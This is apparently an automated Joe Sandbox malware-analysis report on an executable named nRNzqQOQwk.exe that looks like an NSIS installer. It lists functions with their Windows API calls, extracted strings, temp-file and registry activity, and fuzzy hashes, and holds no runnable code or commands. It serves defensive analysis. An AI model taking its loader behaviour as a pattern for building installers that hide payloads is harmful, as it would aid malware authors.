LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\slavelivets), ref: 00403877

Part of subcall function 00405CFE: wsprintfA.USER32 ref: 00405D0B

RegisterClassA.USER32(007A16E0), ref: 004038B4
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004038CC
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403901
ShowWindow.USER32(00000005,00000000), ref: 00403937
GetClassInfoA.USER32(00000000,RichEdit20A,007A16E0), ref: 00403963
GetClassInfoA.USER32(00000000,RichEdit,007A16E0), ref: 00403970
RegisterClassA.USER32(007A16E0), ref: 00403979
DialogBoxParamA.USER32(?,00000000,00403AB2,00000000), ref: 00403998

Strings

RichEdit, xrefs: 0040396A
.exe, xrefs: 0040381D
RichEd32, xrefs: 0040394B
1033, xrefs: 00403740, 00403796
RichEd20, xrefs: 0040393D
.DEFAULT\Control Panel\International, xrefs: 00403786
"C:\Users\user\Desktop\nRNzqQOQwk.exe", xrefs: 00403724
Control Panel\Desktop\ResourceLocale, xrefs: 00403754
_Nb, xrefs: 00403893, 004038FB
RichEdit20A, xrefs: 0040395B, 00403961
C:\Users\user\AppData\Local\Temp\, xrefs: 00403725
C:\Users\user\slavelivets, xrefs: 004037AA, 004037B2, 0040384A, 00403850, 00403860
Call, xrefs: 004037DE, 004037E6, 004037F3, 0040383D, 00403843
@y, xrefs: 0040374C

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\nRNzqQOQwk.exe"$.DEFAULT\Control Panel\International$.exe$1033$@y$C:\Users\user\AppData\Local\Temp\$C:\Users\user\slavelivets$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-1364596019
Opcode ID: 72abac218aef0aa68c8201db2a2c7bc2da9bafc71593619d8738dd7e58f1acdc
Instruction ID: 69823c21e20ed545a36681f3e22a73ce5ba8c54c43716b07ce110ef4df70eff0
Opcode Fuzzy Hash: 72abac218aef0aa68c8201db2a2c7bc2da9bafc71593619d8738dd7e58f1acdc
Instruction Fuzzy Hash: 1361D6B5544240AEE310BF619C45F3B3AACEB85789F40857FF941B22E2D77D9D018A2D

Function 00402CFA Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D0B
GetModuleFileNameA.KERNELBASE(00000000,C:\Users\user\Desktop\nRNzqQOQwk.exe,00000400), ref: 00402D27

Part of subcall function 00405A13: GetFileAttributesA.KERNELBASE(?,00402D3A,C:\Users\user\Desktop\nRNzqQOQwk.exe,80000000,?), ref: 00405A17
Part of subcall function 00405A13: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A39

GetFileSize.KERNEL32(00000000,00000000,007AA000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\nRNzqQOQwk.exe,C:\Users\user\Desktop\nRNzqQOQwk.exe,80000000,?), ref: 00402D73

Strings

Inst, xrefs: 00402DDF
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402ED2
Null, xrefs: 00402DF1
T, xrefs: 00402E00, 00402E5D
Error launching installer, xrefs: 00402D4A
`i, xrefs: 00402D7B
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D01
soft, xrefs: 00402DE8
C:\Users\user\Desktop\nRNzqQOQwk.exe, xrefs: 00402D11, 00402D20, 00402D34, 00402D54
"C:\Users\user\Desktop\nRNzqQOQwk.exe", xrefs: 00402CFA
C:\Users\user\Desktop, xrefs: 00402D55, 00402D5A, 00402D60

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: T$"C:\Users\user\Desktop\nRNzqQOQwk.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\nRNzqQOQwk.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$`i$soft
API String ID: 4283519449-3998746164
Opcode ID: 01abee4385eb3164d7f4254af187e376370b625cc9aa48c6f885a033e7c9399e
Instruction ID: 3261349ff2f4a6e0e52cb66aedc5a428c749111a9fc88119453a55b84fe8b48b
Opcode Fuzzy Hash: 01abee4385eb3164d7f4254af187e376370b625cc9aa48c6f885a033e7c9399e
Instruction Fuzzy Hash: 9A510671940215AFDB119F60DE89B9E7BB8EB44364F20413BF904B62D1D7BC8D408B9D

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\slavelivets,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\slavelivets,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405DA0: lstrcpynA.KERNEL32(?,?,00000400,0040322E,Pongids Setup,NSIS Error), ref: 00405DAD

Part of subcall function 00404FB9: lstrlenA.KERNEL32(0079DD20,00000000,0078FCF8,765F23A0,?,?,?,?,?,?,?,?,?,0040306B,00000000,?), ref: 00404FF2
Part of subcall function 00404FB9: lstrlenA.KERNEL32(0040306B,0079DD20,00000000,0078FCF8,765F23A0,?,?,?,?,?,?,?,?,?,0040306B,00000000), ref: 00405002
Part of subcall function 00404FB9: lstrcatA.KERNEL32(0079DD20,0040306B,0040306B,0079DD20,00000000,0078FCF8,765F23A0), ref: 00405015
Part of subcall function 00404FB9: SetWindowTextA.USER32(0079DD20,0079DD20), ref: 00405027
Part of subcall function 00404FB9: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040504D
Part of subcall function 00404FB9: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405067
Part of subcall function 00404FB9: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405075

Strings

C:\Users\user\AppData\Local\Temp\nsj1A28.tmp, xrefs: 004017A3, 00401812, 00401830
C:\Users\user\slavelivets, xrefs: 00401786
Call, xrefs: 00401775, 0040177E, 0040178B, 0040179D, 004017AE, 004017E4, 004017FA, 00401818, 00401858, 004018D9, 004018E2, 004018EC, 004018F7
C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll, xrefs: 00401826, 00401842

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsj1A28.tmp$C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll$C:\Users\user\slavelivets$Call
API String ID: 1941528284-2519843916
Opcode ID: 17cbd14428586f76d7af50b729a9077a322d321e92e24f8c2541e02e22effdf4
Instruction ID: dbbb128bf7935f0aed0e50e9380fc9841c9442f81e714e1827c6660095eaabca
Opcode Fuzzy Hash: 17cbd14428586f76d7af50b729a9077a322d321e92e24f8c2541e02e22effdf4
Instruction Fuzzy Hash: FE41E772910515BACB107BB5CC49DAF7AB9EF45368B20C23BF121F10E1C77C8A418A6D

Function 0040547F Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 004054C2
GetLastError.KERNEL32 ref: 004054D6
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 004054EB
GetLastError.KERNEL32 ref: 004054F5

Strings

ts@, xrefs: 00405485
C:\Users\user\AppData\Local\Temp\, xrefs: 004054A5
ds@, xrefs: 004054B4
C:\Users\user\Desktop, xrefs: 0040547F

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
API String ID: 3449924974-2230009264
Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction ID: 09fe99030eccae78cb9d2ce19bbf77f9f972de75acbbd1990c032815ad2a971a
Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
Instruction Fuzzy Hash: 2F010871D14259EADF119BA4C944BEFBFB8EB14315F00417AE904B6280E378A644CFAA

Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDC.USER32(?), ref: 00401D98
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
ReleaseDC.USER32(?,00000000), ref: 00401DCB
CreateFontIndirectA.GDI32(0040A7F0), ref: 00401E1A

Strings

Times New Roman, xrefs: 00401E00

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 648d7b0dc9db80ea036042f47a1e498ac7e57b814f90c6129580178fecebfba8
Instruction ID: 37723da549b7de6e047f5ddf6566bf04a0332ae81d9da388354d8b2e576e77f8
Opcode Fuzzy Hash: 648d7b0dc9db80ea036042f47a1e498ac7e57b814f90c6129580178fecebfba8
Instruction Fuzzy Hash: 3A015272948340AFE7006B70AE49F9A3FF4AB55315F10847AF241B62E2C6B904569B3E

Function 004060CB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004060E2
wsprintfA.USER32 ref: 0040611B
LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 0040612F

Strings

\, xrefs: 004060F3
%s%s.dll, xrefs: 00406115
UXTHEME, xrefs: 004060D4

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction ID: e39d6de12310bdbc02ec2e887020ee50980fcceaee6e7f6f8e64b4e94942106c
Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction Fuzzy Hash: 80F0FC30A40115A6EF1497A4DC0DFEB365CAB08305F140176A547E51D2D5B8E9248B69

Function 00402F33 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F9A
GetTickCount.KERNEL32 ref: 0040301E
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00403047
wsprintfA.USER32 ref: 00403057

Strings

... %d%%, xrefs: 00403051

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 85c538cc075ba04794855290aa18cdf04ceba737772e139ba8f68ecbd5a835b1
Instruction ID: c8fbb3e8d9104581ad396ff7879acfc5b753e67115e275f424ba67d933986381
Opcode Fuzzy Hash: 85c538cc075ba04794855290aa18cdf04ceba737772e139ba8f68ecbd5a835b1
Instruction Fuzzy Hash: 6551A27280121AABCB10DF65DA44A9F7BB8EF44756F10413BF800B72C5C7788E51DBAA

Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402411
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsj1A28.tmp,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402431
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsj1A28.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040246E
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsj1A28.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040254F

Strings

C:\Users\user\AppData\Local\Temp\nsj1A28.tmp, xrefs: 00402422, 00402430, 00402444, 00402458, 00402463

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsj1A28.tmp
API String ID: 1356686001-3228911402
Opcode ID: 2eae85450b92eca2a3c37eaf8981f1ba2892586689a29081bc0333428de2e0a2
Instruction ID: 00e854f1b6d20388f4b464fcc1b804607db5fe0ac9957b4d3390b69bb90c797e
Opcode Fuzzy Hash: 2eae85450b92eca2a3c37eaf8981f1ba2892586689a29081bc0333428de2e0a2
Instruction Fuzzy Hash: 3921A1B1E00109BEEB00EFA4DE49EAF7A78EB50358F20403AF505B61D1C6B85D019B28

Function 00405A42 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405A56
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405A70

Strings

nsa, xrefs: 00405A4D
C:\Users\user\AppData\Local\Temp\, xrefs: 00405A45
"C:\Users\user\Desktop\nRNzqQOQwk.exe", xrefs: 00405A42

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\nRNzqQOQwk.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4049198600
Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction ID: a3d8867ec022398f00e7cc0b64f9ef92c2764b579e17a6718397eb4594f2c545
Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
